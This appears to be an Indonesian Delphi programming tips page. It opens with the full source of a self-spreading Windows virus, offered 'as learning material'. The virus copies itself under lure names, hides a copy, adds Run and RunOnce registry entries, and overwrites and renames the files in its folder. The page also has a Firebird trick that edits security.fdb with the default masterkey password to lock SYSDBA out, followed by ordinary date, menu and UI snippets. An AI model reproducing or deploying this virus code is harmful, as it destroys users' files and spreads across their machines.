Bermain Virus dengan Delphi

Silahkan teman-teman gunakan sebagai bahan pembelajaran, saya tidak bertanggung jawab terhadap segala akibat yang ditimbulkan

unit Unit1;
interface
{Deklarasi ShellApi Yang Digunakan}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{{$R MySoundRes.RES}
procedure TForm1.FormCreate(Sender: TObject)
{Deklarasi variabel}
var
regis: TRegistry;
APath: string;
MySearch: TSearchRec;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
{form tak terlihat}
Application.ShowMainForm := false;
{copy dulu ah}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menjalankan service tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{men-disable TASK MANAGER}
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0');
regis.CloseKey;
except
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{membuat key di registry biar auto run gitu}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{membuat key registry di runonce}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menginfeksi file}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+’\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{merubah file yg terinfeksi}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+’\'+MySearch.Name),pchar(APath+’\'+MySearch.Name+’.exe’));
renamefile (pchar(application.ExeName+’.exe’),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
procedure TForm1.Timer1Timer(Sender: TObject);
{terus perhatiin yah}
{deklarasi variabel}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{tetep jalanin virus secara tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{mendisable task manager}
begin
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0');
regis.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{bikin lagi key registry}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
try
ShellExecute(0, ‘open’, ‘www.imm.or.id’, nil, nil, SW_NORMAL);
mciSendString(’dadan cakep deh’, nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
  mciSendString(’dadan memang cakep’, nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
end;
end.

Mendapatkan Serial Number Harddisk

sesuai dengan judulnya….

function GetHardDiskSerial(const DriveLetter: Char): string;
var
NotUsed:     DWORD;
VolumeFlags: DWORD;
VolumeInfo:  array[0..MAX_PATH] of Char;
VolumeSerialNumber: DWORD;
begin
GetVolumeInformation(PChar(DriveLetter + ':\'),
nil, SizeOf(VolumeInfo), @VolumeSerialNumber, NotUsed,
VolumeFlags, nil, 0);
Result := Format('Label = %s   VolSer = %8.8X',
[VolumeInfo, VolumeSerialNumber])
end;

Cara penggunaannya :

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetHardDiskSerial('c'));
end;

Mencari Item Nama (Caption or Tag) dalam TMenu.Items?

sesuai dengan judulnya……

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, ComCtrls, Menus;

procedure BypassMenuItem(Func: Pointer; Source: TMenuItem);
function FindItemByName(aMenuItem: TMenuItem; Value: string): TMenuItem;

var
StringValue: string;
IntegerValue: Integer;…implementation

procedure BypassMenuItem(Func: Pointer; Source: TMenuItem);
var
I, J: Integer;
MenuSize: Integer;
Done: Boolean;

function ByPass(var I: Integer; aMenuItem: TMenuItem; AFunc: Pointer): Boolean;
var
Item: TMenuItem;
begin
if aMenuItem = nil then Exit;
Result := False;

while not Result and (I < aMenuItem.Count) do
begin
Item := aMenuItem[I];
asm
MOV     EAX,Item
MOV     EDX,[EBP+8]
PUSH    DWORD PTR [EDX]
CALL    DWORD PTR AFunc
ADD     ESP,4
MOV     Result,AL
end;
Inc(I);
end;
end;
begin
I        := 0;
J        := 0;
MenuSize := 0;
if Source <> nil then MenuSize := Source.Count;
Done := False;
while not Done and (I < MenuSize) do
begin
Done := Bypass(I, Source, Func);
while (I < MenuSize) do Inc(I);
end;
end;

function FindItemByName(aMenuItem: TMenuItem; ItemName: string): TMenuItem;

function Find(Item: TMenuItem): Boolean;
var
I: Integer;
begin
Result := False;
if (StringValue = Item.Name) then
begin
FoundItem := Item;
Result := True;
Exit;
end
else
for I := 0 to Item.Count – 1 do
if Find(Item[I]) then
begin
Result := True;
Exit;
end;
end;
begin
FoundItem   := nil;
StringValue := ItemName;

BypassMenuItem(@Find, aMenuItem);
Result := FoundItem;
end;

protect/un-protect data FB/IB dari “gangguan” SYSDBA ();

Ada kalanya kita sebagai developer suatu aplikasi database ingin data-nya relatif aman dari “gangguan luar”, supaya data tetap terpelihara utuh . Saya katakan relatif karena tentunya bila si “pengganggu” tsb punya akses ke physical db maka bisa saja dianya melakukan gangguan thp file tsb ( misalnya menghapus file). Cara yg umum dilakukan developer untuk memngontrol akses de db adalah dengan mengatur akses user ( yg user name-nya sdh diatur sebelumnya ) ke tabel-tabel tertentu , dengan menset akses baca/tulis/insert/modify dll. Cara ini bisa di-bypass dengan mudah bilamana ada user yg bisa login dengan SYSDBA password , bahkan bilamana password SYSDBA-nya dirubah, bisa saja user tsb menggantikan security.fdb ( tempat password SYSDBA diletakkan) dengan “fresh” security.fdb yg didapatkan dari instalasi baru Firebird ( atau membawa file FDB/GDB tsb ke server yg SYSDBA accountnya dikenal – dan mengopreknya disana).

cara lain yg sedikit lebih sulit ditembus adalah dengan meng-create ROLE SYSDBA di db file tsb , sehingga ketika user mencoba login dengan SYSDBA account, akan menimbulkan error krn SYSDBA-nya dupilkate ( sdh ada di role ). Contoh produk lokal yg menggunakan proteksi ini adalah ACCURATE ( applikasi accounting yg di-develop dgn Delphi) , versi trialnya.

Cara proteksi semacam ini disinggung pada artikel berikut :
http://ftp.ibphoenix.com/main.nfs?a=ibphoenix&s=1123605099:169734&page=ibp_file_meta_security
namun dlm artikel tsb tidak dibahas cara melakukannya.

meng-create ROLE SYSDBA pada firebird adalah dengan syntak:
‘create role SYSDBA’

namun bilamana ini dilakukan maka akan error sebab SYSDBA sdh terdaftar sebagai user, sehingga satu-satunya cara adalah dengan login di firebird yg super-usernya bukanlah SYSDBA.

Ada 2 cara melakukannya:
1. Membangun kembali firebird dari source ( bisa di-download dari sourceforge.net ) dimana

source-nya sdh dirubah dengan super-user name bukan lagi SYSDBA.
2. Login lewat standar Firebird installation ( super user=SYSDBA / password=masterkey ), dan dilakukan lewat kode Delphi.

cara yg no-2 yg akan ditunjukkan dalam artikel ini.

I. Memprotect data.

Triknya adalah dengan memanipulasi username SYSDBA di security.fdb ( isc.gdb pd interbase ) dan dengan username yg sdh dimanipulasi ini , konek ke target db.

Langkahnya secara garis besar sbb:
1. Penting : backup / copy dulu security.fdb , klo-klo ntar ada masalah.
3. Bikin koneksi ke security.fdb ( pake IBX : TIBDatabase & TIBTransaction)
2. Bikin SQL yg meng-update user name SYSDBA ke nama laen ( yg akan sbg owner dari role SYSDBA di target db); contoh “TEMP_DBA”
3. Open koneksi ke security.fdb tsb dan exec SQL query.
4. penting : biarkan koneksi ke security Db tetap open.
5. Commit transaction ( shg SYSDBA tdk akan dikenali lagi bilamana user laen akan login).
6. Bikin koneksi baru lagi khusus utk target db.
7. Untuk koneksi ini tentunya nama user = “TEMP_DBA” , password=masterkey
8. Open db ke target db ini
9. Bikin SQL utk membuat/create role SYSDBA di target db
10. Commit transaction – bikin permanen di DB
11. Close connection ke target db.
12. di security db , bikin SQL untuk mengembalikan user name dari TEMP_DBA ke SYSDBA.
13 EXec SQL tsb dan commit.
14. Close semua koneksi.

contoh potongan kodenya sbb:
( contoh ini menggunakan lokal server – server dan prog dlm kompie yg sama)

uses IBSQL, IBDatabase,IBQuery;

function  BikinRole_SYSDBA(namafile,RoleOwner:string):Boolean;
var
IBDb: TIBDatabase;
IBTrans: TIBTransaction;
IBSQL: TIBSQL;
begin
Result:=False;
IBTrans:=TIBTransaction.Create(nil);
IBDb:= TIBDatabase.Create(nil);
with IBDb do
begin
DefaultTransaction:=IBTrans;
DatabaseName:=namafile;
LoginPrompt:=False;
Params.Clear;
Params.Add(‘user_name=’+RoleOwner);  // modified admin name
Params.Add(‘password=masterkey’); // password
end;
IBSQL:= TIBSQL.Create(nil);
with IBSQL do
begin
Transaction:=IBTrans;
Database:=IBDb;
SQL.Clear;
SQL.Add(‘create ROLE SYSDBA’);
end;

try  // buka security db dengan modified admin account
IBDb.Open;
except
ShowMessage(‘Error login ke target DB’);
IBTrans.Free;
IBDb.Free;
exit;
end;

// create role SYSDBA di target DB
try
IBTrans.StartTransaction;
IBSQL.ExecQuery;
IBTrans.Commit;
except
IBTrans.Rollback;
ShowMessage(‘role SYSDBA sdh ada di target DB’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

// release resources
IBDb.Close;
IBSQL.Free;
IBDb.Free;
IBTrans.Free;
Result:=True;
end;

procedure ProtectDatabase(namafile,RoleOwner:string);
var
IBDb: TIBDatabase;
IBTrans: TIBTransaction;
IBSQL: TIBSQL;
begin
IBTrans:=TIBTransaction.Create(nil);
IBDb:= TIBDatabase.Create(nil);
with IBDb do
begin
DefaultTransaction:=IBTrans;
DatabaseName:=’C:\\Program Files\\Firebird\\Firebird_1_5\\security.fdb’;
LoginPrompt:=False;
Params.Clear;
Params.Add(‘user_name=SYSDBA’);  // default admin name
Params.Add(‘password=masterkey’); // password
end;
IBSQL:= TIBSQL.Create(nil);
with IBSQL do
begin
Transaction:=IBTrans;
Database:=IBDb;
SQL.Clear;
// ganti admin ke RoleOwner
SQL.Add(‘update USERS set USER_NAME = ‘+QuotedStr(RoleOwner)
+ ‘ where USER_NAME = ‘+ QuotedStr(‘SYSDBA’));
end;

try  // buka security db dengan default admin/SYSDBA data
IBDb.Open;
except
ShowMessage(‘Nama Admin/password telah berubah dari default SYSDBA’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

// ExecSQL : ganti nama admin dari SYSDBA menjadi newAdminName
try
IBTrans.StartTransaction;
IBSQL.ExecQuery;
IBTrans.Commit;
except
ShowMessage(‘Ada error…. quiting’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

if BikinRole_SYSDBA(namafile,RoleOwner) then
ShowMessage(‘Berhasil : target DB bakalan tdk dpt lagi dibuka dengan SYSDBA’)
else
ShowMessage(‘Ada error….’);

IBSQL.SQL.Clear;
// kembalikan lagi admin ke SYSDBA
IBSQL.SQL.Add(‘update USERS set USER_NAME = ‘+QuotedStr(‘SYSDBA’)
+ ‘ where USER_NAME = ‘+ QuotedStr(RoleOwner));
try
IBTrans.StartTransaction;
IBSQL.ExecQuery;
IBTrans.Commit;
except
ShowMessage(‘Ada error…. quiting’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

//release resources
IBDb.Close;
IBSQL.Free;
IBDb.Free;
IBTrans.Free;
end;

contoh penggunaan:

procedure TForm1.Button2Click(Sender: TObject);
begin
ProtectDatabase(‘C:\\SAMPLE.GDB’,'TEMP_DBA’);
end;

II. Unlock db yg terproteksi

Caranya mirip dengan langkah nge-proteknya yakni:
1. Backup security.fdb
2. Bikin koneksi ke security.fdb
3. bikin SQL utk ngeganti SYSDBA ke nama laen ( mis TEMP_DBA ).
4. Exec SQL ini dan commit shg user berikutnya kan melihat new name ini.
5. Biarkan koneksi ke security.fdb ini tetap open.
5. Dengan new name ini ( TEMP_DBA ) , bikin koneksi baru ke target db.
6. setelah terkonek , query data system table tentang role ( tabel RDB$ROLES ), dan cari Owner dari role SYSDBA.
7. Setelah mendapatkan nama owner tsb , di security.fdb , ganti lagi nama user TEMP_DBA ke nama Owner tsb dan commit.
8. Konek lagi ke target db dengan nama user = nama owner dari role.
9. di koneksi baru ini, drop role SYSDBA dan commit.
10.kembali di koneksi security.fdb , bikin SQL baru yg mengganti nama user dari Owner tadi ke original (=SYSDBA).
11. Exec query dan commit, dan close.

contoh potongan kodenya sbb:
( make local connection ).

uses IBSQL, IBDatabase,IBQuery;

function  DropRole_SYSDBA(namafile,RoleOwner:string):Boolean;
var
IBDb: TIBDatabase;
IBTrans: TIBTransaction;
IBSQL: TIBSQL;
begin
Result:=False;
IBTrans:=TIBTransaction.Create(nil);
IBDb:= TIBDatabase.Create(nil);
with IBDb do
begin
DefaultTransaction:=IBTrans;
DatabaseName:=namafile;
LoginPrompt:=False;
Params.Clear;
Params.Add(‘user_name=’+RoleOwner);  // modified admin name ( Owner of SYSDBA role)
Params.Add(‘password=masterkey’); // password
end;
IBSQL:= TIBSQL.Create(nil);
with IBSQL do
begin
Transaction:=IBTrans;
Database:=IBDb;
SQL.Clear;
SQL.Add(‘drop ROLE SYSDBA’); // buang role ini
end;

try  // buka target db dengan admin = RoleOwner
IBDb.Open;
except
ShowMessage(‘Error login ke target DB’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

// execute SQL : buang role SYSDBA dari target DB
try
IBTrans.StartTransaction;
IBSQL.ExecQuery;
IBTrans.Commit;
except
ShowMessage(‘Ada error…. quiting’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

// release resources
IBDb.Close;
IBSQL.Free;
IBDb.Free;
IBTrans.Free;
Result:=True;
end;

function  Get_SYSDBA_RoleOwner(namafile,TempAdminName:string):string;
var
IBDb: TIBDatabase;
IBTrans: TIBTransaction;
IBQuery: TIBQuery;
begin
Result:=”;
IBTrans:=TIBTransaction.Create(nil);
IBDb:= TIBDatabase.Create(nil);
with IBDb do
begin
DefaultTransaction:=IBTrans;
DatabaseName:=namafile;
LoginPrompt:=False;
Params.Clear;
Params.Add(‘user_name=’+TempAdminName);  // modified admin name
Params.Add(‘password=masterkey’); // password
end;
IBQuery:= TIBQuery.Create(nil);
with IBQuery do
begin
Transaction:=IBTrans;
Database:=IBDb;
SQL.Clear;
// temukan Owner dari role ini
SQL.Add(’select RDB$OWNER_NAME from RDB$ROLES where RDB$ROLE_NAME=’
+QuotedStr(‘SYSDBA’));
end;

try  // buka target db dengan temporary admin account
IBDb.Open;
except
ShowMessage(‘Error login ke target DB’);
IBTrans.Free;
IBDb.Free;
exit;
end;

try
IBTrans.StartTransaction;
IBQuery.Open ;
if IBQuery.Eof and IBQuery.Bof then
Result:=”
else
// nama dari Owner si role SYSDBA
Result:= Trim(IBQuery.Fields[0].AsString);
IBTrans.Commit;
except
ShowMessage(‘Ada error…. quiting’);
IBQuery.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

// release resources
IBDb.Close;
IBQuery.Free;
IBDb.Free;
IBTrans.Free;
end;

procedure UnProtectDatabase(namafile:string);
var
IBDb: TIBDatabase;
IBTrans: TIBTransaction;
IBSQL: TIBSQL;
RoleOwner,LastAdmin:string;
begin
IBTrans:=TIBTransaction.Create(nil);
IBDb:= TIBDatabase.Create(nil);
with IBDb do
begin
DefaultTransaction:=IBTrans;
DatabaseName:=’C:\\Program Files\\Firebird\\Firebird_1_5\\security.fdb’;
LoginPrompt:=False;
Params.Clear;
Params.Add(‘user_name=SYSDBA’);  // default admin name
Params.Add(‘password=masterkey’); // password
end;
IBSQL:= TIBSQL.Create(nil);
with IBSQL do
begin
Transaction:=IBTrans;
Database:=IBDb;
SQL.Clear;
SQL.Add(‘update USERS set USER_NAME = ‘
+ QuotedStr(‘TEMP_DBA’)+ ‘ where USER_NAME = ‘
+ QuotedStr(‘SYSDBA’));
end;

try  // buka security db dengan default admin/SYSDBA data
IBDb.Open;
except
ShowMessage(‘Nama Admin/password telah berubah dari default SYSDBA’);
IBTrans.Free;
IBDb.Free;
IBSQL.Free;
exit;
end;

// coba ganti nama admin dari SYSDBA menjadi newAdminName
try
IBTrans.StartTransaction;
IBSQL.ExecQuery;
IBTrans.Commit;
LastAdmin:=’TEMP_DBA’;
except
ShowMessage(‘Ada error…. quiting’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

// temukan nama owner role SYSDBA di target DB – login ke target DB dgn temporer account
RoleOwner:=Get_SYSDBA_RoleOwner(namafile,’TEMP_DBA’);
if RoleOwner<>” then
begin
ShowMessage(‘Owner dari SYSDBA role adalah :’+RoleOwner);
IBSQL.SQL.Clear;
// rubah security db admin ke RoleOwner spy role tsb bisa di-drop
IBSQL.SQL.Add(‘update USERS set USER_NAME = ‘
+ QuotedStr(RoleOwner)+ ‘ where USER_NAME = ‘
+ QuotedStr(‘TEMP_DBA’));
try
IBTrans.StartTransaction;
IBSQL.ExecQuery;
IBTrans.Commit;
LastAdmin:=RoleOwner;
except
ShowMessage(‘Ada error…. quiting’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

if DropRole_SYSDBA(namafile,RoleOwner)then
ShowMessage(‘Target DB bakalan bisa dibuka dgn admin SYSDBA’)
else
ShowMessage(‘Ada error’);
end
else
ShowMessage(‘Tdk ditemukan role SYSDBA di target DB’);

IBSQL.SQL.Clear;
IBSQL.SQL.Add(‘update USERS set USER_NAME = ‘
+ QuotedStr(‘SYSDBA’)+ ‘ where USER_NAME = ‘
+ QuotedStr(LastAdmin));
try  // kembalikan lagi admin ke SYSDBA
IBTrans.StartTransaction;
IBSQL.ExecQuery;
IBTrans.Commit;
except
ShowMessage(‘Ada error…. quiting’);
IBSQL.Free;
IBTrans.Free;
IBDb.Free;
exit;
end;

//release resources
IBDb.Close;
IBSQL.Free;
IBDb.Free;
IBTrans.Free;

end;

contoh pemakaian:

procedure TForm1.Button1Click(Sender: TObject);
begin
UnProtectDatabase(‘C:\\SAMPLE.GDB’);
end;

Merubah backgroung pada Form MDI Parent

Caranya yaitu dengan menggunakan intersepsi dari messages WM_ERASEBKGND, WM_VSCROLL dan
WM_HSCROLL dan dibawa pada penggambaran area oleh prosedur DrawImage atau procedure InValidateRect.
Pada procedure CreateWnd digunakan prosedur SetWindowLong untuk instalasi prosedur baru pada window.
Jangan lupa untuk menghilangkan baris :

Application.CreateForm(TForm2, Form2)

dari file proyek dan baris :

var Form2: TForm2

dari file unit2.pas

type
TForm1 = class(TForm)
//  …
private
{ Private declarations }
public
procedure ClientWndProc(var Message: TMessage);
procedure DrawImage;
{ Public declarations }
protected
procedure CreateWnd; override;
end;

var
Form1: TForm1;
NewClient, OldClient: TFarProc;
MyDC: hDC;

implementation

uses unit2;

{$R *.DFM}

procedure TForm1.CreateWnd;
begin
inherited CreateWnd;
NewClient:=MakeObjectInstance(ClientWndProc);
OldClient:=Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(NewClient));
end;

procedure TForm1.DrawImage;
{ Membuat tile image pada daerah form client }
var
i, j: Integer;
WndRect, ImageRect: TRect;
Rows, Cols: Integer;
begin
GetWindowRect(ClientHandle, WndRect);
ImageRect:=Image1.ClientRect;
Rows:=WndRect.Bottom div ImageRect.Bottom;
Cols:=WndRect.Right div ImageRect.Right;
with Image1 do
for i:=0 to Rows+1 do
for j:=0 to Cols+1  do
BitBlt(MyDC,j*Picture.Width,i*Picture.Height,Picture.Width,
Picture.Height,Picture.Bitmap.Canvas.Handle,0,0,SRCCOPY);
end;

procedure TForm1.ClientWndProc(var Message: TMessage);
begin
case Message.Msg of
WM_ERASEBKGND:
begin
CallWindowProc(
OldClient,
ClientHandle,
Message.Msg,
Message.wParam,
Message.lParam);
MyDC:=TWMEraseBkGnd(Message).DC;
DrawImage;
Message.Result:=1;
end;
WM_VSCROLL,WM_HSCROLL:
begin
Message.Result:=
CallWindowProc(
OldClient,
ClientHandle,
Message.Msg,
Message.wParam,
Message.lParam);
InvalidateRect(ClientHandle,nil,True);
end;
else
Message.Result:=
CallWindowProc(
OldClient,
ClientHandle,
Message.Msg,
Message.wParam,
Message.lParam);
end;
end;

Add animated cursors to your program

Animated cursors have become so popular since the good old days of Windows 3.0, now they are a built-in part of the Windows 95 and Windows NT operating systems. Here’s how you can use them in your Delphi program:

const
cnCursorID1 = 1;
begin
Screen.Cursors[ cnCursorID1 ] :=
LoadCursorFromFile(
‘c:\winnt\cursors\piano.ani’ );
Cursor := cnCursorID1;
end;

“c:\winnt\cursors\piano.ani” is of course the name of the animated cursor file and cnCursorID1 (defined as 1) is the index of your newly defined cursor. If you wanted to use more than one animated cursor, simply use a different index number — cnCursorID2 (or 2) for example.

TDateTime

GetDateRecordFromDate

function GetDateRecordFromDate(aDate: TDateTime): TDateRecord;
begin
DecodeDate(aDate, Result.Year, Result.Month, Result.Day);
end;

ClearDatePart

function ClearDatePart(aDateTime: TDateTime): TDateTime;
Var h, m, s, ms: Word;
begin
DecodeTime(aDateTime, h, m, s, ms);
Result := EncodeTime(h, m, s, ms);
end;

ClearTimePart

function ClearTimePart(aDateTime: TDateTime): TDateTime;
Var y, m, d: Word;
begin
DecodeDate(aDateTime, y, m, d);
Result := EncodeDate(y, m, d);
end;

Fungsi Tanggal

Uses SysUtils;
Type TDateRecord = record Year : Word; Month : Word; Day : Word;
end;

Jumlah Hari dalam Satu Bulan

var DaysInYear: array[1..12] of Integer = (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
Days, Month, Year: Word;
implementation …
procedure TForm1.Button1Click(Sender: TObject);
begin
Month:=StrToInt(Edit1.Text);
Year:=StrToInt(Edit2.Text);
if (IsLeapYear(Year)=True)and(Month=2) then
Days:=DaysInYear[Month]+1
else
Days:=DaysInYear[Month];
Label1.Caption:=IntToStr(Days)+’ days in ‘+Edit2.text+’ year’;
end;

procedure TForm1.FormCreate(Sender: TObject);
var Present: TDateTime;
begin
Present:=Now; DecodeDate(Present, Year, Month, Days);
Edit1.Text:=IntToStr(Month);
Edit2.Text:=IntToStr(Year);
end;

Membuat Timer

var MyTime: TDateTime; …
procedure TForm1.Button1Click(Sender: TObject);
begin
Timer1.Interval:=1000;
MyTime:=Now; Timer1Timer(Timer1);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Label1.Caption:=TimeToStr(Now-MyTime);
end;

MonthsPassed

function MonthsPassed(aFrom, anUntil: TDateTime): Integer;
begin
Result := 12 * (YearFromDate(anUntil) – YearFromDate(aFrom)) + MonthFromDate(anUntil) – MonthFromDate(aFrom);
end;

AddMonthsToDate

function AddMonthsToDate(aDate: TDateTime; aNrMonths: Integer): TDateTime;
begin
Result := IncMonth(aDate, aNrMonths);
end;

GetLastDateOfMonth

function GetLastDateOfMonth(aYear, aMonth: Integer): TDateTime;
begin
Result := EncodeDate(aYear, aMonth, GetLastDayOfMonth(aYear, aMonth));
end;

GetFirstDateOfMonth

function GetFirstDateOfMonth(aYear, aMonth: Integer): TDateTime;
begin
Result := EncodeDate(aYear, aMonth, 1);
end;

GetLastDateOfYear

function GetLastDateOfYear(aYear: Integer): TDateTime;
begin
Result := EncodeDate(aYear, 12, 31);
end;

GetFirstDateOfYear

function GetFirstDateOfYear(aYear: Integer): TDateTime;
begin
Result := EncodeDate(aYear, 1, 1);
end;

GetLastDayOfMonth

function GetLastDayOfMonth(aYear, aMonth: Integer): Integer;
Const
cDAYSINMONTHS: Array[1..12] Of Integer = (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
begin
Result := cDAYSINMONTHS[aMonth];
If (aMonth = 2) And
IsLeapYear(aYear) Then
Inc(Result);
end;

DayFromDate

function DayFromDate(aDate: TDateTime): Integer;
begin
Result := GetDateRecordFromDate(aDate).Day;
end;

MonthFromDate

function MonthFromDate(aDate: TDateTime): Integer;
begin
Result := GetDateRecordFromDate(aDate).Month;
end;

YearFromDate

function YearFromDate(aDate: TDateTime): Integer;
begin
Result := GetDateRecordFromDate(aDate).Year;
end;

Mengenal Mekanisme Looping Pada Borland Delphi

